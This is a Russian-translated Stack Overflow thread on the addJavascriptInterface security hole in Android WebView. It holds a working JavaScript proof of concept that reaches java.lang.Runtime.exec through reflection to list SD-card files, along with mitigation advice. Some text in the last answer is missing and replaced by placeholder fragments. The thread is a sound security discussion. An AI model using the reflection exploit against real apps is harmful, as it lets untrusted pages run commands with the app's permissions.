Безопасность Android JavascriptInterface?

Из документации: http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

"Использование addJavascriptInterface () позволяет JavaScript управлять вашим приложением. Это может быть очень полезной функцией или опасной проблемой безопасности. Когда HTML в WebView не заслуживает доверия (например, часть или весь HTML предоставлен каким-либо человеком или процессом ), то злоумышленник может внедрить HTML, который выполнит ваш код и, возможно, любой код по выбору злоумышленника. Не используйте addJavascriptInterface (), если весь HTML в этом WebView не был написан вами . Связанный объект Java выполняется в другом потоке, а не в потоке, в котором он был создан.

Предположим, у меня есть интерфейс, который показывает только настраиваемое диалоговое окно или запускает загрузку на SD-карту. Было бы небезопасно использовать это для любого URL-адреса? Как может страница атаки использовать интерфейс для запуска любого кода по выбору злоумышленника?

Обновление: согласно документация:

Этот метод можно использовать, чтобы разрешить JavaScript управлять ведущим приложением. Это мощная функция, но она также представляет угрозу безопасности для приложений, нацеленных на уровень API JELLY_BEAN или ниже, поскольку JavaScript может использовать отражение для доступа к общедоступным полям внедренного объекта. Использование этого метода в WebView, содержащем ненадежный контент, может позволить злоумышленнику манипулировать хост-приложением непреднамеренными способами, выполняя код Java с разрешениями хост-приложения. Будьте предельно осторожны при использовании этого метода в WebView, который может содержать ненадежный контент.

Есть пример того, как это могло произойти? Это просто означает, что DOWNLOADINTERFACE.dangerousfunction можно было бы вызвать, если бы это был общедоступный метод в этом классе?

Обновлять:

Я тестировал на примере эксплойта ниже, сайты могут получать доступ к системе через интерфейсы в Android 4.4, 4.1 и 3.2.

Однако я не заметил эту ошибку на Android 2.2 или 2.3, взлом вызывает только принудительное закрытие. Как лучше всего предотвратить этот взлом, кроме отказа от JSInterface? Могу ли я включать такие поддельные функции, чтобы предотвратить несанкционированный вызов функций?

public Object getClass() {
  //throw error, return self, or something?  
}

Или все переписать с помощью ajax и перехвата звонков? Приведет ли это к лучшей / худшей производительности?

Обновление:

Мне удалось удалить интерфейс JS и заменить его функциональность, определив команды window.open (specialurl) для всех функций window. (Interface) и переопределив их в shouldOverrideUrlLoading. Как ни странно, в некоторых случаях необходимо использовать window.open (), или веб-просмотр прерывает отображение (например, останавливается javascript?), А в других случаях следует использовать location.replace, иначе он просто покажет "interface: // specialdata" "не удалось найти сообщение.

(Я установил settings.setJavaScriptCanOpenWindowsAutomatically (true), поэтому window.open все время работает с JS.)

Кто-нибудь знает, как лучше всего переписать приложение с таким поведением?


person NoBugs    schedule 20.06.2011    source источник
comment
вы загружаете внешние файлы из Интернета или только локальные файлы в телефон? И вы установили разрешение на доступ в Интернет? потому что я думаю, что хакер не может изменить код javascript, если у него нет возможности связаться с телефоном удаленно   -  person Dediqated    schedule 12.09.2013
comment
Это было из Интернета, а не локально, поэтому мне нужно защитить этот интерфейс.   -  person NoBugs    schedule 13.09.2013
comment
@NoBugs: Здравствуйте, интересно, успешно ли вы нашли решение этой дыры в безопасности, не удаляя JavascriptInterface? Кроме того, я заметил, что ваш способ переопределения getClass () невозможен, поскольку getClass () является последним методом.   -  person Chan    schedule 08.01.2014
comment
@Chan Да, я обнаружил, что вызов ajax и его перехват - прекрасная альтернатива JSinterface.   -  person NoBugs    schedule 26.09.2014


Ответы (6)


пример доступа к файлам SDCard из javascript:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>
person Haitao    schedule 29.08.2013
comment
С каким интерфейсом Java это работало? Я получаю сообщение об ошибке window.DOWNLOADINTERFACE.getClass().forName("java.lang.Runtime"). E/webcoreglue(15778): *** Uncaught exception returned from Java call! W/System.err(15778): java.lang.CloneNotSupportedException: Class doesn't implement Cloneable W/System.err(15778): at java.lang.Object.clone(Object.java:79) W/System.err(15778): at android.webkit.JWebCoreJavaBridge.sharedTimerFired(Native Method) - person NoBugs; 30.08.2013

Таким образом, код, запускаемый в WebView, по умолчанию изолирован в песочнице, то есть он не может выполнять опасные нативные вещи, такие как запись в файловую систему или доступ к адресной книге и т. Д.

Большая часть javaScript попадает в эту категорию, и в случае отображения настраиваемого диалогового окна опасности нет.

addJavaScriptInterface позволяет вам открывать собственный телефонный аппарат для javascript, и опасность состоит в том, что если вы неправильно напишете свой javaScriptInterface, вы можете подвергнуть телефон человека реальной опасности со стороны хакера.

Думаю, проще всего понять это на примере.

Скажем, вы пишете интерфейс javaScript, в котором вы можете вызывать функцию из javaScript, которая записывает файл по пути в файловой системе Android. например:

writeToFile(data, safepath);

Весь javascript поступает с вашего сервера, но каким-то образом хакер компрометирует ваш сервер и изменяет HTML / JavaScript, который загружается в ваш WebView, для запуска:

writeToFile(dangerousdata, pathtosomeotherfile);

Я еще не изучил макет пакета Android достаточно хорошо, чтобы знать, какой файл я бы хотел перезаписать / изменить, если бы я был хакером, но у нас были небольшие хакерские битвы с друзьями на наших собственных Linux-машинах, когда я был младше, и вы использовали бы такой вызов, чтобы перезаписать что-то вроде двоичного файла SSH - тогда вы сможете регистрировать все входящие пароли. Если бы вы могли делать такие вещи, как перезапись или расширение исходного apk своим собственным, вы могли бы превратите телефон человека в сервер, на который вы можете войти удаленно (я не уверен, возможно ли это из-за того, как приложения изолированы в песочнице). Даже если все, что вы можете сделать, это перезаписать критически важный файл данных, вы можете заставить пользователя предоставить вам (в данном случае хакеру) доступ к учетным данным безопасности, паролям и всем остальным.

Было время, много лет назад, когда мы обнаружили дыру в процессе sendmail на Linux-машине, которая позволила нам запустить оболочку. Мы вошли на наш сервер как почтовый пользователь. Вы не могли много сделать как пользователь почты, но как только вы оказались на машине, это дало вам возможность поискать другие слабые места.

Таким образом, вы можете делать то, что хотите, безопасно, просто убедитесь, что вы сделали этот интерфейс JavaScript действительно простым и тупым - он записывает только один файл в одном месте, а данные, которые вы пишете, могут быть текстом или чем-то, что не получается. интерпретируется позже. Для диалогов я делаю это все время - мне тоже не нужны специальные нативные вызовы. Это отличный способ создать страницу, которую можно будет обновить после того, как пользователь установит ваше приложение.

Надеюсь, это будет полезно!

person walta    schedule 20.06.2011
comment
Я не делаю корневое приложение, поэтому оно не должно перезаписывать что-либо важное, только / sdcard / something, но мне интересно, есть ли в этой функции какая-то внутренняя дыра в безопасности, поскольку в документации говорится, что никогда не используйте ее на html, который вы не писали, он может запускать любой код по выбору злоумышленника. - person NoBugs; 21.06.2011
comment
Ну, есть / sdcard / something ... Я ДУМАЮ, что это может включать чтение и запись в файлы, используемые другими приложениями. Тогда есть все в каталоге данных вашего приложения. Это могут быть базы данных и еще много чего. Я думаю, что здесь нет внутренней дыры в безопасности. Просто вы явно пробиваете дыру в веб-песочнице. Если у вас есть веская причина, просто убедитесь, что вы знаете, что делаете. - person walta; 21.06.2011
comment
if you don't write your javaScriptInterface correctly - очень полезный момент, но какие здесь меры, как correctly? Какие подводные камни следует искать программисту? - person Skynet; 16.02.2016

Исправление:

Для приложений под управлением Android 4.2 все общедоступные методы, аннотированные с помощью JavascriptInterface, могут быть доступны из JavaScript.

Поэтому, если вы разрабатываете приложение для SDK версии 17 или более поздней, вы должны добавить аннотацию @JavascriptInterface к любому методу, который вы хотите, чтобы ваш JavaScript.

Если вы не предоставите аннотацию, метод недоступен для вашей веб-страницы при работе на Android 4.2 или выше.

Чтобы узнать больше, нажмите здесь

person Durai Amuthan.H    schedule 30.09.2013
comment
Спасибо, но у меня сейчас даже нет доступа к устройству 4.2, и я пишу это для максимальной совместимости. - person NoBugs; 30.09.2013
comment
Затем, если возможно, отключите javascript, чтобы даже злоумышленник не мог получить доступ к каким-либо java-методам и использовать эту уязвимость. - person Durai Amuthan.H; 30.09.2013
comment
Поскольку эта проблема является своего рода атакой MAN IN THE MIDDLE, вы можете использовать SSL-сертификаты, чтобы гарантировать, что полученный вами контент не подделан. - person Durai Amuthan.H; 01.10.2013

OverView

Чтобы избежать проблемы безопасности, связанной с addJavaScriptInterface (), вам необходимо разработать протокол связи между собственным кодом и JavaScript.

Ниже приводится простая конструкция протокола связи.

В JavaScript

Чтобы упростить протокол связи, каждый вызов функции, которую должен обрабатывать Android, должен подчиняться следующему шаблону

/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");

В Java

Можно переопределить onJsPrompt () в WebChromeClient.

WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName 
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}

Кордова каркас

Таким же образом подключаемый модуль Cordova работает. Хотя Cordova более сложна, она добавляет функцию обратного вызова к «JS to Native Call» и позволяет вызывать JavaScript из собственного кода.

person York    schedule 15.07.2015
comment
Location.promt? Почему бы не поменять местоположение и сделать shouldOverRideUrlLoading по определенной схеме: //? Что, если на странице действительно есть подсказки? - person NoBugs; 17.07.2015
comment
На самом деле страница ничего не предлагает. Поскольку onJsPrompt был переопределен и соответствующее возвращаемое значение истинно, WebKit будет считать, что функция подсказки JavaScript обработана, и ничего не запрашивает. Вам нужно сделать свою реализацию в функции onJsPrompt. Ничего страшного, если вы хотите сделать по этой другой схеме. Но зачем беспокоиться? window.prompt () уже прост в использовании. - person York; 17.07.2015

Для тех, кто проверяет это в 2020 году, похоже, что проблема безопасности затрагивает только Android API ниже 17 (Android 4.2). Итак, если ваш minSdkVersion 17 или выше, тогда вы должны быть в безопасности.

Вот ссылки:

  • # P3 #
    # P4 #
  • # P5 #
    # P6 #
  • # P7 #
    # P8 #
person Aba    schedule 27.08.2020

эта ошибка безопасности работает со всеми собственными интерфейсами, кроме api level> = 17.

person afpro    schedule 11.09.2013
comment
Тогда почему устройства 2.2 и 2.3 не работают с приведенным выше примером кода Haitao? Единственное устройство, на котором я обнаружил эту ошибку, было устройство 4.1. - person NoBugs; 11.09.2013
comment
извините за это, у меня нет устройства 2.x. я просто работаю на 4.x. - person afpro; 12.09.2013
comment
Наполовину правда, вы должны быть на 4.2+ и использовать приложение, которое использует новый @JavascriptInterface и было скомпилировано для более нового API. - person NoBugs; 01.01.2014